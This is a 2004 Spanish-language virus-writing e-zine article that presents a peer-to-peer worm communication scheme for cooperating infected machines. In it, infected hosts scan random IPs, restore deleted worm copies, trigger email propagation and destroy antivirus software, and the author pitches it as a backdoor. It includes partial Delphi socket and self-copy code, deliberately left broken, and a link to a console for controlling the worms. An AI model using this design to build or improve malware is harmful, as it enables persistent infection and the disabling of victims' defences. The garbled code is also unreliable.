(C) MITOSIS #2 E-Zine/GEDZAC 2004
                                              
Tema          : TCP WORM COMUNICATION SYSTEM
Autor         : Byt3Cr0w
Válido para   : Delphi (probado en Delphi 6) puede ser adaptado a otros lenguajes

Buenasss, bueno aqui  lo que voy a tratar de explicar es  un metodo sencillo pero
efectivo que yo llamo orgullosamente TCP WORM COMUNICATION SYSTEM.... ¿por que el
nombre? bueno pues eso es lo que voy a explicar a continuacion...

TEORIA
------

Mi teoria consiste en que  un worm (dropper) genere  al ejecutarse  un componente
ejecutable, llamemoslo  TWCS.exe.... la  idea es  que este  componente abra algun
puerto TCP  en otras palabras este componente es un server y un cliente el compo-
nente estara todo el tiempo ejecutandose en memoria generando Ip aleatorias luego
de generar una IP el componente se trata de conectar a la maquina, si esta a sido
infectada  por el  worm entonces tendra  el puerto abierto y podra conectarse con
ella; si logra conectarse entonces aqui viene lo bueno...

*************************************************************************
*************************************************************************
**DEFINICIONES:                                                        **
**CompA = Cliente(el que se conecta con la maquina)                    **
**CompB = Server(maquina remota con la que el cliente logra conectarse)**
**WormMadre = este es el worm que solto al componente                  **
*************************************************************************
*************************************************************************

Si CompA logra conectarse exitosamente  con CompB entonces CompA empieza a enviar
instrucciones a CompB, por ejemplo:

		CompA =  "Revisa tus Copias"

entonces CompB respondera a las instrucciones con acciones por ejemplo:

    si CompB recive la instruccion "Revisa tus copias"  entonces este procedera a
    revisar las  copias del WormMadre, si sus  copias  estan  dañadas o  han sido
    borradas, entonces el  CompB  procede a restaurar  las copias  originales del
    WormMadre.

Despues de esto CompB le responderia a CompA con instrucciones.
Aqui esta un ejemplo completo:

		CompA = Envia Instruccion : "Revisa tus Copias P2P"

		CompB = Accion: Revisa las copias del WormMadre en las carpetas 
				P2P y las arregla

		CompB = Envia Instruccion : "P2P Ready..."

		CompA = Envia Instruccion : "Revisa tus Copias..."

		CompB = Accion: Revisa las copias del WormMadre y las restaura.

		CompB = Envia Instruccion : "Copias Ready..."

		CompA = Envia Instruccion : "INICIA SMTP"

		CompB = Accion: Inicia la propagacion por e.mail

		CompB = Envia Instruccion : "SMTP INICIADO"

		CompA = Envia Instruccion : "Revisa tus Copias..."

		CompB = Accion: Revisa las copias del WormMadre y las restaura.

		CompB = Envia Instruccion : "Copias Ready..."

		CompA = Envia Instruccion : "AV HUNT"

		CompB = Accion : Busca AV y los destruye

		CompB = Envia Instruccion : "AV CLEAR"

		CompA = Envia Instruccion : "Revisa tus Copias..."

		CompB = Accion: Revisa las copias del WormMadre y las restaura.

		CompB = Envia Instruccion : "Copias Ready..."

*********************************************************************************
**Nota =   Como puedes ver despues de cada instruccion el CompA envia la       **
**	   instruccion "Revisa copias", esto es para provocar un efecto        **
**	 anti-delete, que es provocado si el worm tiene infectadas muchas      **
**	 maquinas, entonces mas o menos como cada 5 segundos 2 maquinas se     **
**	   conectan y pues si el infectado trata de borrar algun archivo       **
**	  pues entre 2 y 5 segundos este archivo se volvera a generar :D       **
*********************************************************************************

Esto solo es un pequeño ejemplo  puedes enviar muchas instrucciones que le harian
bien a tu worm  o virus, claro  que para  que  se agilice el proceso  el CompA al
conectarse con el CompB  envia la instruccion : "Nececitas ayuda?" al recibir esa
instruccion el  CompB busca si hay algun fallo... si no estan algunos archivos...
o  si las  entradas en el registro  estan dañadas, etc... si no encuentra ninguna
anomalia  entonces envia la instruccion "No, gracias" al recibir esta informacion
el CompA automaticamente  se desconecta del CompB y genera otra IP aleatoria para
conectarse, pero si  el CompB encontro alguna anomalia entonces envia la instruc-
cion : "Nececito ayuda" al CompA recibir esta instruccion empieza todo el proceso
anteriormente  visto :) luego  de enviar  todos los  comandos  el CompA  envia la
Instruccion : "Ready?" el CompB hace otra vez la revision y busqueda de Anomalias
y si todo  esta bien  entonces  envia la  instruccion : "Ready to go...thanx!" al
CompA recibir esta info, se desconecta y empieza el proceso de conexion.
(si CompB envia la instruccion: "Not Ready..." entonces el CompA empieza de nuevo
a enviar instrucciones)

Si logramos  que el worm infecte  muchas maquinas obtendremos  con esto un efecto
anti-delete en  nuestro worm, claro esta que para lograr esto la victima necesita
estar conectado  a  la internet, sin  esto  este componente  seria obsoleto, para
contrarestar esto pues tendriamos que hacer un componente Offline pero no funcio-
naria igual...eso en la proxima e-zine ;)

Estos son los efectos que podria causar esta tecnica:

      * Efecto Anti-Delete de un worm           (no funciona con VIRUS)
      * Desbordamiento de trafico   *puede causar un desastre si se propaga mucho
      * Puede servir como un buen Backdoor ya que trabaja de la misma manera

ahora venimos con la practica :P

··:.......PRAKTIK........--------------------------------------------------------

Lo primero es generar nuestra IP aleatoria....eso te lo voy a dejar a ti (esfuér-
zate un poco) pero para darte una  idea lo podemos hacer con el Api GetTickCount,
este API sirve para saber los  milisegundos que lleva Windows ejecutandose; voy a
darte  un  ejemplo  pero tienes que corregir  un error en las  variables a poco y
crees que te voy a dejar todo tan facil? ;)

RandomIP(zx:pchar):integer;
var
iphexa : Dword;
aleatorio: Dword;
begin
aleatorio:=GetTickCount;   //aqui llamos al API
 Inet_ntoa(aleatorio); //hacemos que retorne la respuesta a la variable ALEATORIO
zx:= aleatorio;        //nuestra IP se guardara en ZX
		      
con esto podemos generar una IP Aleatoria basandonos en los milisegundos...
ahora que ya generamos una IP aleatoria agregamos los componentes:

 		-ClientSocket
		-ServerSocket
		-Memo1 - name  =  Instructions

agregamos las siguientes lineas:
*********************************************************************************
procedure TForm1.FormCreate(Sender: TObject);
begin
  Instructions.Clear;
  ClientSocket1.RemoteHost := zx;  //tratamos de conectar con nuestra IP Generada
  ClientSocket1.Active := True;    //marcamos al cliente como activo
end;

*********************************************************************************
procedure TForm1.ClientSocket1Connect(Sender: TObject);
begin
ClientSocket1.Socket.SendText('Nesecitas ayuda?');  //mandamos instruccion
Sleep(10000);   //dormimos 10000 milisegundos
If Instructions.Text='Si nesecito ayuda' Then  //leemos la respuesta y comparamos 
Sleep(10000); //dormimos 10000 milisegundos
Instructions.Clear;   //limpiamos el Memo
ClientSocket1.Socket.SendText('Revisa tu copia'); 
Sleep(10000)
else ClientSocket1.Active = false; //desconectamos 
end;
Instructions.Clear;
If Instructions.Text = 'Copias Revisadas' then
Sleep(10000);
Instructions.Clear;
ClientSocket1.Socket.SendText('estas listo?');
Sleep(10000)
else ClientSocket1.Active := false;
end;
Instructions.Clear;
If Instructions.Text = 'estoy listo' then
ClientSocket1.Active := false;
else ClientSocket1.Socket.SendText('Revisa tu copia');
end;

*********************************************************************************
procedure TForm1.ClientSocket1Read(Sender: TObject;
  Socket: TCustomWinSocket);
begin

  Instructions.Lines.Add(Socket.ReceiveText);

end;
*********************************************************************************

procedure TfrmServidor.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);

 
begin

  MyInstruction.Lines.Add(Socket.ReceiveText); := Socket.ReceiveText;
end;
*********************************************************************************
procedure TfrmServidor.ServerSocket1ClientConnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
                           //leemos el mensaje que nos ha llegado:
If MyInstructions.Text := 'Nesecitas ayuda?' then

			  //si nos pregunta si nesecitamos ayuda buscamos fallas:
If FileExists('c:\MiCopia.exe') then  

Socket.SendText('No'); //si no hay fallos enviamos la isntruccion NO

			   //pero si encontramos entonces pedimos ayuda:
else Socket.SendText('si nesecito ayuda');

Sleep(10000);  //dormimos
MyInstructions.Clear; //limpiamos
If MyInstructions.Text = 'Revisa tu copia'   //revisamos instrucciones
If FileExists('c:\MiCopia.exe') then  //cumplimos instruccion
Socket.SendText('estoy listo')  //enviamos instruccion
else    //si no esta nuetsra copia...
copyfile('worm.exe','c:\MiCopia.exe',true); //nos copiamos  
MyInstructions.Clear;   //limpiamos
Socket.SendText('Copias Revisadas')   //enviamos instruccion
end;
Sleep(10000);  //dormimos
If MyInstruction.Text = 'estas listo?' Then   //revisamos...
If FileExists('c:\MiCopia.exe') then   //volvemos a buscar fallas
MyInstructions.Clear;   //limpiamos

			  //enviamos inst...si todavia hay fallos entonces...
Socket.SendText('estoy listo') else
MyInstructions.Clear;   //limpiamos
Socket.SendText('no estoy listo') //enviamos instruccion...
end;
*********************************************************************************

con esto  ya  podemos  tener nuestro TCP WORM COMUNICATION SYSTEM pero muy simple
claro que le puedes agregar mas instrucciones y hacerlo mas complejo...
como ya sabes este sistema es parecido al utilizado por troyanos o backdoors
en otras palabras podemos convertir a nuestro worm en un WORM-TROJAN...

Como?

eso en la proxima E-zine!

pero mientras tanto te puedes bajar un programa para conectarte con tus gusanos..

http://www.byt3crow-twcsconsole.tk

(C) MITOSIS #2 E-Zine/GEDZAC 2004